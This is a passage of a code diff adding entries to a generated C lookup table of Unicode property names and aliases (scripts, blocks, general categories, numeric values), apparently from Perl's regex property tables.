+ { 9, 7459, 8316, 3, 4, PL_SC__HANO } /* sc=hano */,
+ { 4, 8026, 2349, 5, 3, PL_INPC__TOP } /* inpc=top */,
+ { 94, 8376, 6880, 3, 2, PL_LB__BB } /* lb=bb */,
+ { 5, 7471, 5252, 7, 6, PL_POSIXXDIGIT } /* isposixxdigit */,
+ { 0, 3129, 6736, 17, 4, PL_SAUR } /* scriptextensions=saur */,
+ { 2, 6890, 7611, 4, 7, PL_INSOYOMBO } /* blk=soyombo */,
+ { 1, 974, 8933, 24, 2, PL_CCC__9 } /* canonicalcombiningclass=vr */,
+ { 10, 5544, 7756, 13, 1, PL_NV__9 } /* numericvalue=9 */,
+ { 1, 8816, 7714, 3, 1, PL_NV__3 } /* nv=3 */,
+ { 1, 2107, 0, 7, 0, PL_SINH } /* sinhala */,
+ { 2, 6005, 0, 12, 0, PL_HUNG } /* oldhungarian */,
+ { 0, 7136, 5933, 6, 12, PL_INMASARAMGONDI } /* block=masaramgondi */,
+ { 0, 7136, 78, 6, 35, PL_ARABICMATH } /* block=arabicmathematicalalphabeticsymbols */,
+ { 0, 6472, 6971, 10, 6, PL_WB__MN } /* wordbreak=midnum */,
+ { 0, 5544, 7941, 13, 5, PL_NV__11_SLASH_12 } /* numericvalue=11/12 */,
+ { 0, 6890, 7625, 4, 7, PL_SUPPUAB } /* blk=suppuab */,
+ { 4, 4299, 0, 15, 0, PL_ARMI } /* imperialaramaic */,
+ { 1, 892, 3223, 17, 2, -PL_VS } /* variationselector=n */,
+ { 5, 8604, 0, 4, 0, PL_ZYYY } /* zyyy */,
+ { 11, 7459, 4494, 3, 15, PL_NARB } /* sc=oldnortharabian */,
+ { 0, 6890, 6546, 4, 10, PL_ASCII } /* blk=basiclatin */,
+ { 1, 7478, 865, 3, 27, PL_SUPPUAB } /* issupplementaryprivateuseareab */,
+ { 8, 6890, 6989, 4, 9, PL_INNEWTAILUE } /* blk=newtailue */,
+ { 1, 7288, 7604, 7, 4, PL_SIDD } /* script=sidd */,
+ { 0, 184, 5933, 2, 12, PL_GONM } /* ismasaramgondi */,
+ { 9, 8816, 8917, 3, 2, PL_NV__49 } /* nv=49 */,
+ { 2, 6890, 1107, 4, 26, PL_KATAKANAEXT } /* blk=katakanaphoneticextensions */,
+ { 56, 184, 6616, 2, 10, PL_DEP } /* isdeprecated */,
+ { 1, 6263, 7828, 10, 6, PL_LB__HY } /* linebreak=hyphen */,
+ { 0, 7136, 7436, 6, 7, PL_INELBASAN } /* block=elbasan */,
+ { 7, 2674, 0, 9, 0, PL_SUND } /* sundanese */,
+ { 0, 57, 0, 2, 0, PL_YI } /* yi */,
+ { 32, 1448, 7628, 5, 4, PL_SUPPUAB } /* insuppuab */,
+ { 1, 8026, 3171, 5, 12, PL_INPC__LEFTANDRIGHT } /* inpc=leftandright */,
+ { 4, 8096, 8448, 4, 4, PL_ORKH } /* scx=orkh */,
+ { 6, 5968, 7026, 3, 8, PL_INOLDTURKIC } /* inoldturkic */,
+ { 11, 5544, 8897, 13, 2, PL_NV__19 } /* numericvalue=19 */,
+ { 0, 4402, 7528, 3, 6, PL_INMULTANI } /* inmultani */,
+ { 2, 949, 3581, 2, 2, PL_CI } /* ci=t */,
+ { 2, 7459, 3674, 3, 7, PL_SC__CPRT } /* sc=cypriot */,
+ { 2, 6713, 8885, 3, 3, PL_IN__7 } /* in=v70 */,
+ { 1, 7224, 468, 8, 5, PL_XPOSIXPUNCT } /* isxposixpunct */,
+ { 4, 8026, 9, 5, 2, PL_INPC__NA } /* inpc=na */,
+ { 10, 1426, 3305, 22, 17, PL_INSC__CONSONANTPREFIXED } /* indicsyllabiccategory=consonantprefixed */,
+ { 0, 4757, 3223, 14, 3, -PL_GREXT } /* graphemeextend=no */,
+ { 34, 8096, 7882, 4, 4, PL_LYDI } /* scx=lydi */,
+ { 2, 78, 0, 4, 0, PL_ARAB } /* arab */,
+ { 198, 7459, 8556, 3, 4, PL_THAI } /* sc=thai */,
+ { 1, 7380, 8640, 4, 2, PL_CCC__18 } /* ccc=18 */,
+ { 3, 7689, 3238, 3, 16, PL_ALCHEMICAL } /* isalchemicalsymbols */,
+ { 0, 8376, 202, 3, 2, PL_LB__SA } /* lb=sa */,
+ { 1, 7136, 1543, 6, 15, PL_GEOMETRICSHAPES } /* block=geometricshapes */,
+ { 4, 8328, 5260, 4, 11, PL_BLOCKELEMENTS } /* inblockelements */,
+ { 0, 7136, 7621, 6, 3, PL_PUA } /* block=pua */,
+ { 2, 5705, 0, 12, 0, PL_CYRILLICEXTC } /* cyrillicextc */,
+ { 6, 7344, 7768, 4, 6, -PL_XIDS } /* xids=false */,
+ { 102, 5192, 6485, 3, 9, PL_IDC } /* isidcontinue */,
+ { 171, 5134, 5559, 4, 11, PL_PATSYN } /* ispatternsyntax */,
+ { 0, 8572, 125, 3, 2, PL_LB__CR } /* wb=cr */,
+ { 0, 7288, 2877, 7, 4, PL_SC__DEVA } /* script=deva */,
+ { 0, 8011, 4524, 3, 15, PL_PS } /* gc=openpunctuation */,
+ { 1, 3129, 8260, 17, 4, PL_CAKM } /* scriptextensions=cakm */,
+ { 1, 184, 2466, 3, 18, PL_COUNTINGROD } /* iscountingrodnumerals */,
+ { 1, 1448, 6407, 3, 10, PL_INSORASOMPENG } /* insorasompeng */,
+ { 0, 8816, 8913, 3, 2, PL_NV__47 } /* nv=47 */,
+ { 0, 7344, 3223, 8, 2, -PL_XIDS } /* xidstart=n */,
+ { 0, 6340, 0, 11, 0, PL_LO } /* otherletter */,
+ { 0, 8248, 722, 4, 5, PL_BPT__C } /* bpt=close */,
+ { 0, 6219, 3223, 11, 3, -PL_JOINC } /* joincontrol=no */,
+ { 0, 1855, 7768, 21, 2, -PL_CWCM } /* changeswhencasemapped=f */,
+ { 0, 974, 5220, 24, 1, PL_CCC__0 } /* canonicalcombiningclass=0 */,
+ { 4, 7380, 7709, 4, 2, PL_CCC__16 } /* ccc=16 */,
+ { 1, 7459, 8464, 3, 4, PL_PHNX } /* sc=phnx */,
+ { 2, 8340, 4792, 3, 3, PL_JG__HEH } /* jg=heh */,
+ { 0, 4314, 5427, 13, 13, PL_JG__MALAYALAMLLLA } /* joininggroup=malayalamllla */,
+ { 2, 1402, 3165, 24, 10, PL_INPC__TOPANDLEFT } /* indicpositionalcategory=topandleft */,
+ { 0, 2408, 0, 4, 0, PL_BRAH } /* brah */,
+ { 5, 5544, 8674, 13, 2, PL_NV__42 } /* numericvalue=42 */,
+ { 0, 7288, 8584, 7, 4, PL_XSUX } /* script=xsux */,
+ { 0, 7288, 8091, 7, 5, PL_RUNR } /* script=runic */,
+ { 1, 8096, 6406, 4, 4, PL_SORA } /* scx=sora */,
+ { 104, 3129, 7786, 17, 6, PL_CAKM } /* scriptextensions=chakma */,
+ { 0, 7459, 1566, 3, 6, PL_SC__HANG } /* sc=hangul */,
+ { 1, 8508, 7871, 4, 3, PL_LEPC } /* sc=lepc */,
+ { 1, 7136, 7359, 6, 7, PL_INAVESTAN } /* block=avestan */,
+ { 7, 3114, 1174, 3, 3, PL_UCAS } /* inucas */,
+ { 1, 7288, 4010, 7, 4, PL_TANG } /* script=tang */,
+ { 23, 7459, 7366, 3, 7, PL_SC__BENG } /* sc=bengali */,
+ { 0, 1834, 3581, 21, 2, PL_CWCF } /* changeswhencasefolded=t */,
+ { 2, 6786, 0, 10, 0, PL_SUPARROWSC } /* suparrowsc */,
+ { 1, 7136, 479, 6, 31, PL_MATHALPHANUM } /* block=mathematicalalphanumericsymbols */,
+ { 0, 8288, 8292, 3, 4, PL_DT__FONT } /* dt=font */,
+ { 2, 8126, 0, 5, 0, PL_VSSUP } /* vssup */,
+ { 2, 8572, 5772, 3, 5, PL_WB__EB } /* wb=ebase */,
+ { 0, 6713, 7714, 3, 1, PL_IN__3 } /* in=3 */,
+ { 3, 4402, 2637, 3, 11, PL_MONGOLIANSUP } /* inmongoliansup */,
+ { 2, 7136, 750, 6, 22, PL_ENCLOSEDIDEOGRAPHICSUP } /* block=enclosedideographicsup */,
+ { 1, 184, 7128, 2, 8, PL_BASS } /* isbassavah */,
+ { 2, 7459, 5121, 3, 14, PL_SC__PHLP } /* sc=psalterpahlavi */,
+ { 0, 8340, 5492, 3, 13, PL_JG__MANICHAEANTAW } /* jg=manichaeantaw */,
+ { 0, 7136, 2731, 6, 19, PL_SUPARROWSC } /* block=supplementalarrowsc */,
+ { 0, 2990, 80, 4, 33, PL_ARABICMATH } /* inarabicmathematicalalphabeticsymbols */,
+ { 9, 3129, 7016, 17, 9, PL_PERM } /* scriptextensions=oldpermic */,
+ { 0, 3129, 8560, 17, 4, PL_TIBT } /* scriptextensions=tibt */,
+ { 0, 8021, 0, 5, 0, PL_GREXT } /* grext */,
+ { 6, 6890, 4010, 4, 6, PL_INTANGUT } /* blk=tangut */,
+ { 5, 4479, 26, 15, 1, PL_NFKCQC__Y } /* nfkcquickcheck=y */,
+ { 1, 949, 7768, 2, 2, -PL_CI } /* ci=f */,
+ { 0, 1855, 3581, 21, 2, PL_CWCM } /* changeswhencasemapped=t */,
+ { 0, 974, 8702, 24, 3, PL_CCC__DA } /* canonicalcombiningclass=234 */,
+ { 0, 1426, 8051, 22, 5, PL_INSC__NUKTA } /* indicsyllabiccategory=nukta */,
+ { 1, 7136, 630, 6, 30, PL_CJKEXTE } /* block=cjkunifiedideographsextensione */,
+ { 8, 436, 7768, 5, 2, -PL_NCHAR } /* nchar=f */,
+ { 15, 8276, 7768, 4, 2, -PL_CWCM } /* cwcm=f */,
+ { 0, 1402, 4271, 4, 13, PL_DIACRITICALSSUP } /* indiacriticalssup */,
+ { 2, 4479, 8256, 5, 4, PL_NFKCQC__N } /* nfkcqc=no */,
+ { 25, 1159, 7768, 25, 2, -PL_CWKCF } /* changeswhennfkccasefolded=f */,
+ { 0, 21, 7846, 2, 6, PL_INKAITHI } /* inkaithi */,
+ { 3, 5192, 416, 3, 10, PL_IDEO } /* isideographic */,
+ { 3, 1892, 3581, 5, 2, PL_CASED } /* cased=t */,
+ { 0, 8344, 6053, 3, 12, PL_JT__R } /* jt=rightjoining */,
+ { 41, 184, 5945, 2, 12, PL_MATHALPHANUM } /* ismathalphanum */,
+ { 4, 7136, 1612, 6, 23, PL_SHORTHANDFORMATCONTROLS } /* block=shorthandformatcontrols */,
+ { 16, 4402, 2046, 4, 19, PL_MEETEIMAYEKEXT } /* inmeeteimayekextensions */,
+ { 1, 5645, 2309, 10, 20, PL_BC__PDF } /* bidiclass=popdirectionalformat */,
+ { 2, 7459, 4509, 3, 15, PL_SARB } /* sc=oldsoutharabian */,
+ { 0, 6483, 3223, 11, 2, -PL_XIDC } /* xidcontinue=n */,
+ { 3, 7345, 3223, 7, 2, -PL_IDS } /* idstart=n */,
+ { 7, 6890, 1543, 4, 18, PL_GEOMETRICSHAPESEXT } /* blk=geometricshapesext */,
+ { 1, 184, 3390, 2, 16, PL_ETHIOPICEXT } /* isethiopicextended */,
+ { 0, 8340, 4792, 3, 7, PL_JG__HEHGOAL } /* jg=hehgoal */,
+ { 3, 184, 7810, 2, 6, PL_GOTH } /* isgothic */,
+ { 5, 7478, 3544, 3, 16, PL_SMALLFORMS } /* issmallformvariants */,
+ { 2, 7136, 3738, 6, 6, PL_LATIN1 } /* block=latin1 */,
+ { 8, 8340, 5897, 3, 12, PL_JG__MALAYALAMSSA } /* jg=malayalamssa */,
+ { 5, 7478, 5150, 3, 13, PL_SUPPUNCTUATION } /* issuppunctuation */,
+ { 0, 7288, 2841, 7, 4, PL_SC__COPT } /* script=copt */,
+ { 2, 6806, 0, 4, 0, PL_WARA } /* wara */,
+ { 2, 8939, 0, 2, 0, PL_ZP } /* zp */,
+ { 1, 4554, 235, 14, 2, PL_SB__LO } /* sentencebreak=lo */,
+ { 4, 1358, 7768, 20, 2, -PL_CE } /* compositionexclusion=f */,
+ { 0, 1701, 0, 2, 0, PL_SD } /* sd */,
+ { 0, 8196, 8879, 4, 3, PL_AGE__6_DOT_2 } /* age=v62 */,
+ { 1, 974, 8617, 27, 2, PL_CCC__31 } /* canonicalcombiningclass=ccc31 */,
+ { 0, 4542, 7661, 3, 3, PL_TIRH } /* istirh */,
+ { 0, 7136, 1658, 6, 22, PL_CJKCOMPATIDEOGRAPHSSUP } /* block=cjkcompatideographssup */,
+ { 8, 184, 8388, 2, 4, PL_LISU } /* islisu */,
+ { 12, 7459, 8548, 3, 4, PL_TFNG } /* sc=tfng */,
+ { 2, 974, 8646, 27, 2, PL_CCC__29 } /* canonicalcombiningclass=ccc29 */,
+ { 0, 96, 7768, 10, 2, -PL_XPOSIXALPHA } /* alphabetic=f */,
+ { 0, 8340, 7304, 3, 8, PL_JG__SWASHKAF } /* jg=swashkaf */,
+ { 5, 76, 2876, 2, 3, PL_XPOSIXDIGIT } /* nt=de */,
+ { 33, 6263, 5570, 10, 13, PL_LB__PR } /* linebreak=prefixnumeric */,
+ { 0, 6706, 8714, 10, 3, PL_IN__3_DOT_2 } /* presentin=3.2 */,
+ { 0, 184, 0, 3, 0, PL_C } /* isc */,
+ { 4, 7380, 7702, 4, 2, PL_CCC__20 } /* ccc=20 */,
+ { 0, 184, 1189, 2, 2, PL_LT } /* islt */,
+ { 116, 4314, 6533, 13, 3, PL_JG__QAF } /* joininggroup=qaf */,
+ { 16, 6221, 252, 4, 31, PL_DIACRITICALSEXT } /* incombiningdiacriticalmarksextended */,
+ { 66, 1358, 3581, 20, 2, PL_CE } /* compositionexclusion=t */,
+ { 76, 1426, 6716, 22, 10, PL_INSC__PUREKILLER } /* indicsyllabiccategory=purekiller */,
+ { 30, 8376, 1306, 3, 13, PL_LB__CM } /* lb=combiningmark */,
+ { 9, 184, 1628, 3, 6, PL_XPOSIXCNTRL } /* iscontrol */,
+ { 0, 8786, 1081, 3, 9, PL_EA__H } /* ea=halfwidth */,
+ { 0, 6890, 6826, 4, 10, PL_YIRADICALS } /* blk=yiradicals */,
+ { 0, 184, 7520, 2, 7, PL_MARC } /* ismarchen */,
+ { 8, 7288, 5777, 7, 4, PL_HEBR } /* script=hebr */,
+ { 1, 6713, 8750, 3, 3, PL_IN__6_DOT_1 } /* in=6.1 */,
+ { 2, 7136, 6908, 6, 9, PL_EMOTICONS } /* block=emoticons */,
+ { 4, 7136, 3390, 6, 17, PL_ETHIOPICEXTA } /* block=ethiopicextendeda */,
+ { 94, 7459, 8456, 3, 4, PL_OSGE } /* sc=osge */,
+ { 105, 2985, 7997, 18, 4, PL_IDST } /* idstrinaryoperator=yes */,
+ { 37, 6713, 8564, 3, 4, PL_IN__10 } /* in=v100 */,
+ { 49, 21, 3111, 2, 4, PL_RUMI } /* inrumi */,
+ { 2, 4542, 1161, 3, 3, PL_TANG } /* istang */,
+ { 0, 7136, 3770, 6, 16, PL_LINEARBSYLLABARY } /* block=linearbsyllabary */,
+ { 2, 2229, 3084, 20, 9, PL_ZL } /* generalcategory=lineseparator */,
+ { 4, 8340, 4389, 3, 15, PL_JG__MANICHAEANZAYIN } /* jg=manichaeanzayin */,
+ { 20, 7168, 3223, 8, 3, -PL_EXT } /* extender=no */,
+ { 4, 3129, 8584, 17, 4, PL_XSUX } /* scriptextensions=xsux */,
+ { 76, 4590, 0, 2, 0, PL_VS } /* vs */,
+ { 22, 8894, 3183, 3, 18, PL_VO__TR } /* vo=transformedrotated */,
+ { 1, 217, 1074, 33, 5, PL__PERL_PROBLEMATIC_LOCALE_FOLDEDS_START } /* _perl_problematic_locale_foldeds_start */,
+ { 0, 8026, 6042, 3, 11, PL_PLAYINGCARDS } /* inplayingcards */,
+ { 0, 58, 7768, 4, 2, -PL_IDEO } /* ideo=f */,
+ { 161, 4314, 5476, 13, 3, PL_JG__NUN } /* joininggroup=nun */,
+ { 0, 6890, 4590, 4, 2, PL_INVS } /* blk=vs */,
+ { 2, 7894, 7768, 6, 6, -PL_PATSYN } /* patsyn=false */,
+ { 0, 7136, 6935, 6, 9, PL_LATINEXTB } /* block=latinextb */,
+ { 128, 8121, 3581, 5, 2, PL_UIDEO } /* uideo=t */,
+ { 2, 8380, 0, 4, 0, PL_LINA } /* lina */,
+ { 42, 974, 184, 24, 2, PL_CCC__IS } /* canonicalcombiningclass=is */,
+ { 1, 4239, 0, 15, 0, PL_PD } /* dashpunctuation */,
+ { 0, 7906, 6928, 5, 7, PL_SC__SIND } /* sc=khudawadi */,
+ { 1, 8240, 8, 3, 2, PL_BC__AN } /* bc=an */,
+ { 1, 8011, 966, 3, 2, PL_NO } /* gc=no */,
+ { 4, 8336, 7322, 4, 6, PL_INTIFINAGH } /* intifinagh */,
+ { 1, 4630, 7337, 3, 7, PL_UGAR } /* isugaritic */,
+ { 1, 7345, 7997, 7, 4, PL_IDS } /* idstart=yes */,
+ { 33, 1768, 0, 22, 0, PL_MISCTECHNICAL } /* miscellaneoustechnical */,
+ { 12, 7478, 3947, 3, 15, PL_STERM } /* issentenceterminal */,
+ { 0, 1001, 0, 11, 0, PL_ENCLOSEDCJK } /* enclosedcjk */,
+ { 0, 8096, 7, 4, 18, PL_CANS } /* scx=canadianaboriginal */,
+ { 33, 5544, 7710, 13, 4, PL_NV__6000 } /* numericvalue=6000 */,
+ { 0, 184, 2249, 2, 13, PL_GLAGOLITICSUP } /* isglagoliticsup */,
+ { 23, 2985, 3223, 4, 3, -PL_IDST } /* idst=no */,
+ { 65, 7288, 2249, 7, 4, PL_SC__GLAG } /* script=glag */,
+ { 0, 184, 1659, 3, 18, PL_CJKCOMPATIDEOGRAPHS } /* iscjkcompatideographs */,
+ { 0, 184, 8056, 2, 5, PL_NSHU } /* isnushu */,
+ { 2, 184, 1856, 3, 20, PL_CWCM } /* ischangeswhencasemapped */,
+ { 88, 7478, 1402, 3, 3, PL_SIND } /* issind */,
+ { 28, 7136, 415, 6, 32, PL_INIDC } /* block=ideographicdescriptioncharacters */,
+ { 3, 7136, 4010, 6, 16, PL_TANGUTCOMPONENTS } /* block=tangutcomponents */,
+ { 4, 974, 6230, 24, 11, PL_CCC__8 } /* canonicalcombiningclass=kanavoicing */,
+ { 15, 6890, 7415, 4, 7, PL_CJKEXTE } /* blk=cjkexte */,
+ { 0, 2859, 7184, 18, 8, PL_DT__FRA } /* decompositiontype=fraction */,
+ { 1, 8096, 7527, 4, 7, PL_MULT } /* scx=multani */,
+ { 7, 6439, 0, 11, 0, PL_SYLO } /* sylotinagri */,
+ { 1, 58, 3581, 4, 2, PL_IDEO } /* ideo=t */,
+ { 15, 8777, 3223, 3, 2, -PL_CWL } /* cwl=n */,
+ { 0, 8816, 7714, 3, 2, PL_NV__30 } /* nv=30 */,
+ { 8, 7136, 6596, 6, 10, PL_COMPATJAMO } /* block=compatjamo */,
+ { 2, 7226, 1929, 6, 5, PL_XPOSIXUPPER } /* xposixupper */,
+ { 0, 1746, 1690, 21, 2, PL_GCB__CN } /* graphemeclusterbreak=cn */,
+ { 3, 5250, 7997, 8, 2, PL_XPOSIXXDIGIT } /* hexdigit=y */,
+ { 4, 184, 7858, 2, 6, PL_KHOJ } /* iskhojki */,
+ { 1, 8096, 4404, 4, 15, PL_MERC } /* scx=meroiticcursive */,
+ { 83, 184, 7846, 2, 6, PL_KTHI } /* iskaithi */,
+ { 0, 4402, 2158, 10, 11, PL_MERO } /* inmeroitichieroglyphs */,
+ { 10, 6713, 8714, 3, 3, PL_IN__3_DOT_2 } /* in=3.2 */,
+ { 0, 1417, 206, 9, 2, PL_PI } /* category=pi */,
+ { 11, 8096, 8536, 4, 4, PL_TALU } /* scx=talu */,
+ { 1, 974, 78, 24, 2, PL_CCC__AR } /* canonicalcombiningclass=ar */,
+ { 9, 7816, 0, 6, 0, PL_GRBASE } /* grbase */,
+ { 16, 6706, 8885, 10, 3, PL_IN__7 } /* presentin=v70 */,
+ { 3, 7288, 7900, 7, 6, PL_RJNG } /* script=rejang */,
+ { 1, 8011, 1204, 3, 2, PL_PO } /* gc=po */,
+ { 32, 6616, 0, 10, 0, PL_DEP } /* deprecated */,
+ { 0, 6706, 8660, 10, 3, PL_IN__2_DOT_1 } /* presentin=2.1 */,
+ { 0, 7991, 0, 5, 0, PL_BUHD } /* buhid */,
+ { 154, 7136, 7513, 6, 7, PL_INMANDAIC } /* block=mandaic */,
+ { 0, 974, 8160, 24, 2, PL_CCC__13 } /* canonicalcombiningclass=13 */,
+ { 0, 7478, 7, 3, 1, PL_SC } /* issc */,
+ { 16, 7478, 7298, 4, 6, PL_SPECIALS } /* isspecials */,
+ { 8, 5544, 7756, 13, 6, PL_NV__900000 } /* numericvalue=900000 */,
+ { 1, 7136, 6241, 6, 11, PL_KATAKANAEXT } /* block=katakanaext */,
+ { 1, 7136, 2002, 6, 21, PL_ININSCRIPTIONALPARTHIAN } /* block=inscriptionalparthian */,
+ { 0, 974, 8642, 24, 3, PL_CCC__122 } /* canonicalcombiningclass=122 */,
+ { 135, 7136, 8066, 6, 5, PL_INORIYA } /* block=oriya */,
+ { 0, 7136, 5427, 6, 9, PL_INMALAYALAM } /* block=malayalam */,
+ { 0, 5245, 7997, 13, 2, PL_POSIXXDIGIT } /* asciihexdigit=y */,
+ { 2, 184, 1963, 2, 7, PL_RADICAL } /* isradical */,
+ { 0, 8216, 0, 4, 0, PL_ARMI } /* armi */,
+ { 0, 8376, 8923, 3, 2, PL_LB__H2 } /* lb=h2 */,
+ { 1, 7459, 8528, 3, 4, PL_SC__SYRC } /* sc=syrc */,
+ { 32, 4542, 7661, 3, 6, PL_TIRH } /* istirhuta */,
+ { 2, 8026, 4629, 5, 15, PL_LOE } /* inpc=visualorderleft */,
+ { 1, 8240, 8804, 3, 3, PL_BC__LRI } /* bc=lri */,
+ { 0, 8572, 7804, 4, 6, PL_WB__NL } /* wb=newline */,
+ { 1, 8376, 2163, 3, 2, PL_LB__GL } /* lb=gl */,
+ { 0, 4841, 0, 14, 0, PL_LATINEXTB } /* latinextendedb */,
+ { 7, 6596, 0, 10, 0, PL_COMPATJAMO } /* compatjamo */,
+ { 2, 8096, 6806, 4, 10, PL_WARA } /* scx=warangciti */,
+ { 0, 6554, 4135, 3, 6, PL_BRAI } /* inbraille */,
+ { 2, 6329, 2876, 11, 3, PL_XPOSIXDIGIT } /* numerictype=de */,
+ { 1, 7457, 1330, 5, 9, PL_INSC__CONSONANT } /* insc=consonant */,
+ { 1, 21, 6953, 2, 9, PL_LATINEXTD } /* inlatinextd */,
+ { 32, 5645, 3446, 10, 3, PL_BC__RLI } /* bidiclass=rli */,
+ { 0, 6713, 8732, 3, 3, PL_IN__5 } /* in=5.0 */,
+ { 1, 7136, 7618, 6, 7, PL_SUPPUAA } /* block=suppuaa */,
+ { 1, 6263, 58, 10, 2, PL_LB__ID } /* linebreak=id */,
+ { 1, 8340, 6606, 3, 10, PL_JG__DALATHRISH } /* jg=dalathrish */,
+ { 2, 6076, 7768, 11, 2, -PL_BIDIC } /* bidicontrol=f */,
+ { 224, 6484, 3223, 10, 2, -PL_IDC } /* idcontinue=n */,
+ { 10, 7136, 3594, 6, 9, PL_ARABICSUP } /* block=arabicsup */,
+ { 0, 8240, 2914, 4, 17, PL_BC__ET } /* bc=europeanterminator */,
+ { 1, 4284, 5177, 14, 6, PL_GCB__V } /* hangulsyllabletype=v */,
+ { 2, 7466, 3521, 5, 5, PL_XPOSIXBLANK } /* horizspace */,
+ { 0, 3129, 2895, 17, 8, PL_ETHI } /* scriptextensions=ethiopic */,
+ { 2, 6076, 3581, 11, 2, PL_BIDIC } /* bidicontrol=t */,
+ { 39, 3129, 7034, 17, 9, PL_PALM } /* scriptextensions=palmyrene */,
+ { 5, 7136, 4771, 6, 14, PL_INGREEK } /* block=greekandcoptic */,
+ { 0, 7852, 0, 6, 0, PL_KANBUN } /* kanbun */,
+ { 0, 7459, 8500, 3, 4, PL_SARB } /* sc=sarb */,
+ { 1, 8340, 3818, 3, 16, PL_JG__MANICHAEANSAMEKH } /* jg=manichaeansamekh */,
+ { 0, 8376, 125, 3, 2, PL_LB__CR } /* lb=cr */,
+ { 0, 3738, 0, 6, 0, PL_LATIN1 } /* latin1 */,
+ { 18, 7136, 8056, 6, 5, PL_INNUSHU } /* block=nushu */,
+ { 5, 7136, 7429, 6, 7, PL_DSRT } /* block=deseret */,
+ { 4, 8816, 8729, 3, 3, PL_NV__4_SLASH_5 } /* nv=4/5 */,
+ { 20, 6890, 4404, 4, 15, PL_INMEROITICCURSIVE } /* blk=meroiticcursive */,
+ { 29, 7840, 4616, 4, 13, PL_VEDICEXT } /* isvedicextensions */,
+ { 6, 3129, 2636, 17, 9, PL_MONG } /* scriptextensions=mongolian */,
+ { 0, 8376, 4452, 3, 2, PL_LB__QU } /* lb=qu */,
+ { 0, 4314, 5163, 13, 10, PL_JG__TEHMARBUTA } /* joininggroup=tehmarbuta */,
+ { 1, 8096, 2149, 4, 20, PL_HLUW } /* scx=anatolianhieroglyphs */,
+ { 0, 7459, 7660, 3, 7, PL_SC__TIRH } /* sc=tirhuta */,
+ { 0, 3356, 0, 17, 0, PL_CYRILLICEXTC } /* cyrillicextendedc */,
+ { 4, 4464, 26, 14, 1, PL_NFDQC__Y } /* nfdquickcheck=y */,
+ { 24, 7380, 8690, 4, 3, PL_CCC__AL } /* ccc=228 */,
+ { 21, 184, 3111, 2, 4, PL_RUMI } /* isrumi */,
+ { 1, 184, 6806, 2, 10, PL_WARA } /* iswarangciti */,
+ { 59, 8096, 2002, 4, 21, PL_PRTI } /* scx=inscriptionalparthian */,
+ { 1, 6756, 3223, 10, 3, -PL_SD } /* softdotted=no */,
+ { 5, 2985, 0, 3, 0, PL_IDS } /* ids */,
+ { 12, 974, 8636, 24, 3, PL_CCC__107 } /* canonicalcombiningclass=107 */,
+ { 0, 8436, 0, 4, 0, PL_NSHU } /* nshu */,
+ { 56, 6210, 1982, 3, 17, PL_CYRILLICSUP } /* incyrillicsupplement */,
+ { 1, 8263, 0, 2, 0, PL_MC } /* mc */,
+ { 0, 1448, 2734, 5, 16, PL_SUPARROWSC } /* insupplementalarrowsc */,
+ { 2, 6263, 6880, 10, 2, PL_LB__BB } /* linebreak=bb */,
+ { 0, 21, 4827, 2, 6, PL_KANGXI } /* inkangxi */,
+ { 5, 959, 0, 5, 0, PL_MUSIC } /* music */,
+ { 136, 7459, 7034, 3, 4, PL_PALM } /* sc=palm */,
+ { 0, 6506, 2, 3, 1, PL_YI } /* isyi */,
+ { 0, 8376, 3985, 3, 9, PL_LB__EM } /* lb=emodifier */,
+ { 2, 7459, 7436, 3, 7, PL_ELBA } /* sc=elbasan */,
+ { 56, 8376, 1392, 3, 9, PL_LB__SG } /* lb=surrogate */,
+ { 0, 6890, 7590, 4, 7, PL_INSHARADA } /* blk=sharada */,
+ { 2, 184, 7852, 2, 6, PL_KANBUN } /* iskanbun */,
+ { 2, 7906, 18, 6, 1, PL_KHAR } /* sc=khar */,
+ { 2, 184, 1982, 3, 20, PL_CYRILLICSUP } /* iscyrillicsupplementary */,
+ { 0, 8011, 3658, 3, 16, PL_PE } /* gc=closepunctuation */,
+ { 0, 186, 7997, 2, 2, PL_CE } /* ce=y */,
+ { 48, 7043, 0, 4, 0, PL_PAUC } /* pauc */,
+ { 0, 6890, 5363, 5, 12, PL_IPAEXT } /* blk=ipaextensions */,
+ { 7, 7226, 5253, 6, 5, PL_XPOSIXDIGIT } /* xposixdigit */,
+ { 19, 6890, 7653, 4, 7, PL_INTIBETAN } /* blk=tibetan */,
+ { 4, 8096, 2895, 4, 8, PL_ETHI } /* scx=ethiopic */,
+ { 0, 8816, 8187, 3, 2, PL_NV__27 } /* nv=27 */,
+ { 1, 4757, 7951, 14, 5, PL_GREXT } /* graphemeextend=true */,
+ { 0, 7120, 0, 4, 0, PL_BALI } /* bali */,
+ { 0, 7459, 2598, 3, 4, PL_MERO } /* sc=mero */,
+ { 1, 5134, 6030, 3, 7, PL_PHAISTOS } /* isphaistos */,
+ { 2, 4923, 7522, 4, 5, PL_INMARCHEN } /* inmarchen */,
+ { 1, 8240, 6017, 3, 12, PL_BC__ON } /* bc=otherneutral */,
+ { 9, 8572, 24, 4, 1, PL_WB__NL } /* wb=nl */,
+ { 3, 4134, 0, 7, 0, PL_BRAI } /* braille */,
+ { 0, 3129, 4104, 17, 5, PL_BAMU } /* scriptextensions=bamum */,
+ { 144, 4314, 8334, 13, 4, PL_JG__SHIN } /* joininggroup=shin */,
+ { 0, 7459, 8408, 3, 4, PL_MRO } /* sc=mroo */,
+ { 0, 6706, 8564, 10, 4, PL_IN__10 } /* presentin=v100 */,
+ { 1, 3129, 1401, 17, 4, PL_SIND } /* scriptextensions=sind */,
+ { 0, 8340, 5163, 3, 10, PL_JG__TEHMARBUTA } /* jg=tehmarbuta */,
+ { 0, 7380, 8160, 7, 2, PL_CCC__13 } /* ccc=ccc13 */,
+ { 1, 7457, 5999, 5, 6, PL_LB__ZWJ } /* insc=joiner */,
+ { 0, 2221, 2244, 3, 2, PL_GCB__L } /* hst=l */,
+ { 3, 184, 966, 2, 2, PL_NO } /* isno */,
+ { 44, 3129, 8268, 17, 4, PL_CPRT } /* scriptextensions=cprt */,
+ { 39, 184, 8408, 2, 4, PL_MRO } /* ismroo */,
+ { 0, 8572, 3985, 3, 9, PL_LB__EM } /* wb=emodifier */,
+ { 0, 8096, 4135, 5, 6, PL_BRAI } /* scx=braille */,
+ { 8, 5557, 7951, 13, 5, PL_PATSYN } /* patternsyntax=true */,
+ { 1, 7380, 8687, 4, 3, PL_CCC__R } /* ccc=226 */,
+ { 0, 7459, 3610, 3, 8, PL_SC__BOPO } /* sc=bopomofo */,
+ { 3, 184, 1589, 2, 5, PL_LATN } /* islatin */,
+ { 0, 21, 5246, 3, 4, PL_ASCII } /* inascii */,
